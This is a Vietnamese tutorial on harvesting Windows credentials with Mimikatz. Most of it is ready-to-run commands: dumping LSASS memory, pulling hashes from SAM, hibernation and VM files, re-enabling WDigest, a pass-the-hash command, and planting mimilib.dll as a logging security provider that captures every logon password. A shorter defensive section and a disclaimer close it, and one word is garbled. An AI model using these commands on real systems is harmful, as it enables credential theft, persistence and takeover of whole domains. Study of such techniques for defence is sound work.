Trong bài viết này, được viết như một phần của loạt bài về bảo mật Windows, chúng ta sẽ học một phương pháp khá đơn giản để lấy mật khẩu của tất cả người dùng Windows đang hoạt động bằng công cụ Mimikatz.
Mimikatz.exe có thể trích xuất mật khẩu dạng văn bản thuần túy từ bộ nhớ Windows, hash mật khẩu, ticket Kerberos, v.v. Ngoài ra, mimikatz cho phép bạn thực hiện tấn công pass-the-hash, pass-the-ticket hoặc tạo Golden Kerberos tickets. Chức năng mimikatz cũng có sẵn trong Metasploit Framework.
Bạn có thể tải mimikatz từ GitHub repo: https://github.com/gentilkiwi/mimikatz/releases/. Giải nén file mimikatz_trunk.zip vào C:\Tools\mimikatz. Hai phiên bản mimikatz sẽ xuất hiện trong thư mục này — cho x64 và x86. Dùng phiên bản phù hợp với bitness Windows của bạn.
Trong bài viết này, chúng tôi sẽ chỉ cho bạn cách lấy mật khẩu người dùng trong Windows Server 2016 hoặc Windows 10 bằng mimikatz.
Tuyên bố miễn trừ trách nhiệm. Thông tin và công nghệ được mô tả trong bài viết này chỉ nên dùng cho mục đích tham khảo và không để truy cập tài khoản, dữ liệu và hệ thống của bên thứ ba.
Tấn công hash mật khẩu Windows trong LSASS với Mimikatz
Hãy thử dump hash mật khẩu của tất cả người dùng đã đăng nhập từ bộ nhớ Windows (tiến trình lsass.exe — Local Security Authority Subsystem Service) trên server RDS chạy Windows Server 2016.
Chạy các lệnh sau trong command prompt với quyền admin:
- Chạy
Mimikatz.exevới quyền administrator; - Lệnh sau sẽ cấp cho tài khoản hiện tại quyền debug tiến trình (SeDebugPrivilege):
privilege::debug - Liệt kê phiên người dùng đang hoạt động:
sekurlsa::logonPasswords full - Trong trường hợp của tôi trên server bên cạnh tài khoản của tôi có phiên hoạt động của hai user:
novachvàadministrator. - Sao chép hash NTLM của họ (được highlight trong ảnh chụp màn hình).
Bạn có thể dùng mimikatz không tương tác, mà ở chế độ dòng lệnh. Để tự động lấy hash mật khẩu người dùng và xuất ra file text, dùng lệnh:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt
Bây giờ bạn có thể dùng bất kỳ công cụ offline (có công cụ hashcat trong Kali Linux) hoặc dịch vụ online để giải mã hash NTLM. Tôi sẽ dùng dịch vụ https://crackstation.net/.
Như bạn thấy, dịch vụ nhanh chóng tìm thấy giá trị cho các hash NTLM này. Như vậy, chúng ta nhận được mật khẩu người dùng dạng plain text.
Hãy tưởng tượng đây là host RDS với nhiều user đồng thời và phiên của enterprise admin. Như vậy, nếu bạn có đặc quyền admin cục bộ trên server này, bạn thậm chí có thể lấy mật khẩu domain admin.
Nếu bạn dùng mật khẩu phức tạp cho user Windows, sẽ khó giải mã hơn nhiều. Do đó, luôn bật độ phức tạp mật khẩu qua GPO và kiểm tra thường xuyên độ mạnh mật khẩu trong domain AD.
Như bạn thấy, nhờ mimikatz chúng ta lấy được hash NTLM của tất cả user đang hoạt động! Lệnh thành công vì Debug Mode được bật trên máy tính này, cho phép đặt cờ SeDebugPrivilege cho tiến trình mong muốn. Ở chế độ này, chương trình có thể truy cập cấp thấp vào bộ nhớ của các tiến trình được chạy thay mặt hệ thống.
Lưu ý. Tháng 6/2017, nhiều công ty lớn ở nhiều quốc gia bị nhiễm mã fدية NotPetya, sử dụng module mimikatz tích hợp để thu thập mật khẩu user và domain admin.
Cách lấy mật khẩu người dùng từ memory dump của Windows?
Phương pháp lấy hash mật khẩu trên sẽ không hoạt động nếu có antivirus chặn injection. Trong trường hợp này, bạn sẽ phải tạo memory dump của tiến trình LSASS trên host đích, copy nó sang máy tính của bạn và trích xuất hash mật khẩu bằng mimikatz.
Tạo memory dump của tiến trình trong Windows khá dễ dàng. Mở Task Manager, tìm tiến trình lsass.exe, click chuột phải và chọn Create Dump File.
Windows sẽ lưu memory dump vào thư mục system32.
Bạn chỉ cần parse file dump bằng mimikatz (có thể thực hiện trên máy tính khác). Load memory dump vào mimikatz:
Mimikatz "sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP"
Lấy tên user và hash mật khẩu từ dump:
# sekurlsa::logonPasswords
Bạn có thể lấy memory dump từ máy tính từ xa bằng psexec, hoặc qua WinRM (nếu bạn có đặc quyền admin), và trích xuất mật khẩu user từ đó.
Bạn cũng có thể dùng công cụ procdump từ Sysinternals để lấy dump:
procdump -ma lsass.exe lsass.dmp
Memory dump của tiến trình LSASS có thể lấy được với hàm Out-Minidump.ps1 trong PowerShell. Import hàm Out-Minidump vào phiên PoSh và tạo memory dump của tiến trình LSASS:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
Trích xuất mật khẩu Windows từ Hyberfil.sys và file page VM
Cũng có thể trích xuất mật khẩu user từ file memory dump, file hibernation hệ thống (hiberfil.sys), và file .vmem của máy ảo (file paging máy ảo và snapshot của chúng).
Để làm được, bạn cần Debugging Tool for Windows (WinDbg), mimikatz bản thân và công cụ chuyển đổi .vmem thành file memory dump (trong Hyper-V, có thể là vm2dmp.exe hoặc MoonSols Windows Memory toolkit cho file vmem VMWare).
Ví dụ, để chuyển file page vmem của máy ảo VMWare thành dump, dùng lệnh:
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp
Import dump vào WinDbg (File -> Open Crash Dump), load thư viện mimikatz mimilib.dll:
.load mimilib.dll
Tìm tiến trình lsass.exe trong dump:
!process 0 0 lsass.exe
Và cuối cùng, gõ:
.process /r /p fffffa800e0b3b30
!mimikatz
Kết quả, bạn sẽ nhận được danh sách user Windows, và hash NTLM mật khẩu của họ, thậm chí cả mật khẩu dạng plain text.
Trích xuất mật khẩu Windows dạng plain text bằng WDigest
Bạn có thể dùng giao thức WDigest để xác thực HTTP digest trên các phiên bản Windows cũ. Lỗ hổng bảo mật chính của giao thức này là nó lưu mật khẩu user trong bộ nhớ dạng plain text, thay vì hash của nó. Mimikatz cho phép bạn trích xuất các mật khẩu này từ bộ nhớ của tiến trình LSASS.EXE.
Giao thức WDigest bị tắt mặc định trong tất cả phiên bản Windows mới, bao gồm Windows 10 và Windows Server 2016/2019. Nhưng không bị xóa hoàn toàn. Nếu bạn có quyền admin cục bộ trong Windows, bạn có thể bật giao thức WDiget, chờ user đăng nhập và đánh cắp mật khẩu của họ.
Bật Wdigest trên Windows:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
Làm mới cài đặt group policy:
gpupdate /force
Chờ user đăng nhập và lấy mật khẩu của họ bằng mimikatz (user cần đăng nhập lại trên Windows 10; trên Windows Server 2016, chỉ cần mở khóa phiên sau khi màn hình bị khóa là đủ):
privilege::debug
sekurlsa::wdigest
Như bạn thấy, phần wdigest chứa mật khẩu user dạng plain text:
Trích xuất hash mật khẩu user cục bộ từ SAM
Với mimikatz, bạn có thể trích xuất hash mật khẩu của user Windows cục bộ (kể cả tài khoản administrator tích hợp) từ SAM:
privilege::debug
token::elevate
lsadump::sam
Bạn cũng có thể trích xuất hash NTLM từ registry hive SAM.
- Export registry hive SYSTEM và SAM ra file:
reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv - Sau đó dùng Mimikatz để dump hash mật khẩu:
privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Thực hiện tấn công Pass-the-Hash qua Mimikatz
Nếu user có mật khẩu mạnh và bạn không thể nhanh chóng giải mã hash NTLM, Mimikatz có thể dùng để thực hiện tấn công pass-the-hash (tái sử dụng hash). Trong trường hợp này, hash có thể dùng để chạy tiến trình thay mặt user đích. Ví dụ, nếu bạn dump hash NTLM của mật khẩu user, lệnh sau sẽ chạy command prompt dưới tài khoản đó:
privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe
Cũng có thể dùng công cụ Invoke-TheHash để tái sử dụng credentials NTLM nhằm thực thi lệnh trên máy tính từ xa.
Dump mật khẩu từ Windows Credential Manager
Trong Windows, bạn có thể lưu mật khẩu trong Windows Credential Manager (có thể là mật khẩu truy cập máy tính từ xa, website, credentials RDP ở định dạng TERMSRV/hostname1). Mimikatz có thể trích xuất các mật khẩu này từ Credential Manager và hiển thị cho bạn:
privilege::debug
sekurlsa::credman
Như bạn thấy, mật khẩu đã lưu được hiển thị dưới phần credman.
Mật khẩu autologon Windows được lưu trong registry dạng plain text. Cũng dễ dàng trích xuất mật khẩu Wi-Fi đã lưu.
Dump mật khẩu đăng nhập Windows dạng plain text
Một cách thú vị khác để dump mật khẩu trong Windows là dùng SSP provider bổ sung (Security Support Provider) do mimikatz cung cấp.
- Copy file thư viện Mimikatz mimilib.dll vào thư mục C:\Windows\System32\;
- Đăng ký SPP provider bổ sung bằng lệnh:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ - Khi mỗi user đăng nhập Windows, mật khẩu của họ sẽ được ghi vào file kiwissp.log. Bạn có thể hiển thị tất cả mật khẩu bằng PowerShell:
Get-Content C:\Windows\System32\kiwissp.log
Bảo vệ Windows chống lại tấn công Credential Dumping
Trên Windows 8.1 và Windows Server 2012 R2 (và mới hơn), khả năng đánh cắp mật khẩu từ LSASS bị giới hạn. Hash LM và mật khẩu không được lưu trong bộ nhớ trong các phiên bản Windows này mặc định.
Chức năng tương tự được backport về các phiên bản Windows trước đó (7/8/2008R2/2012), trong đó bạn cần cài đặt bản cập nhật đặc biệt KB2871997 (bản cập nhật cung cấp các tùy chọn khác để tăng cường bảo mật hệ thống) và trong registry key HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest đặt tham số DWORD UseLogonCredential thành 0 (tắt WDigest).
Nếu bạn thử trích xuất mật khẩu từ bộ nhớ sau khi cài đặt bản cập nhật này và key UseLogonCredential, bạn sẽ thấy mimikatz không thể dump mật khẩu và hash bằng lệnh creds_wdigest.
Ở trên, chúng tôi đã chỉ cách bạn có thể dễ dàng đặt giá trị reg key này về trạng thái dễ bị tấn công, nếu bạn có quyền admin cục bộ. Sau đó, bạn có thể lại truy cập mật khẩu trong bộ nhớ LSA.
Trong mimikatz, có các tùy chọn khác để lấy mật khẩu và hash của chúng từ bộ nhớ (WDigest, LM-hash, NTLM-hash, module bắt ticket Kerberos). Do đó, khuyến nghị triển khai các biện pháp bảo mật sau để bảo vệ:
- Ngăn lưu mật khẩu bằng Reversible Encryption;
- Tắt WDigest;
- Ngăn lưu mật khẩu trong Credential Manager;
- Tắt NTLM;
- Ngăn caching credentials user domain (bằng tham số registry CachedLogonsCount hoặc tùy chọn Group Policy Interactive logon policy: Number of previous logons to cache);
- Nếu functional level domain là Windows Server 2012 R2 hoặc mới hơn, bạn có thể thêm tài khoản admin vào nhóm đặc biệt Protected Users. Trong trường hợp này, hash NTLM sẽ không được tạo cho các user như vậy.
- Bật bảo vệ tiến trình LSA:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f(cài đặt này chỉ cho phép tiến trình được ký bởi Microsoft truy cập bộ nhớ LSASS, bạn có thể triển khai reg key này trong domain qua GPO); - Sử dụng Credential Guard để bảo vệ nội dung tiến trình LSA;
- Ngăn lấy đặc quyền debug ngay cả cho local admin: GPO -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs (Tuy nhiên, điều này dễ bị bypass nếu bạn có quyền LocalSystem hoặc tương tự)
Mẹo. Bài viết chi tiết về cách bảo vệ bộ nhớ Windows khỏi trích xuất mật khẩu và hash – Methods for defending against mimikatz in a Windows domain.
Kết luận. Một lần nữa, chúng tôi nhắc nhở bạn một số khái niệm bảo mật then chốt.
- Đừng dùng cùng mật khẩu cho các dịch vụ khác nhau (đặc biệt, để truy cập RDP/RDS host thuộc sở hữu của bên thứ ba);
- Suy nghĩ về bảo mật mật khẩu và dữ liệu lưu trữ trên máy ảo trong đám mây, vì bạn không thể chắc chắn ai khác có quyền truy cập hypervisor và storage chứa file máy ảo;
- Tối thiểu hóa số lượng tài khoản có đặc quyền admin toàn cục hoặc cục bộ (xem hướng dẫn Securing administrator accounts in Windows environment);
- Không bao giờ đăng nhập dưới tài khoản domain admin trên server và máy tính mà người dùng khác có thể truy cập.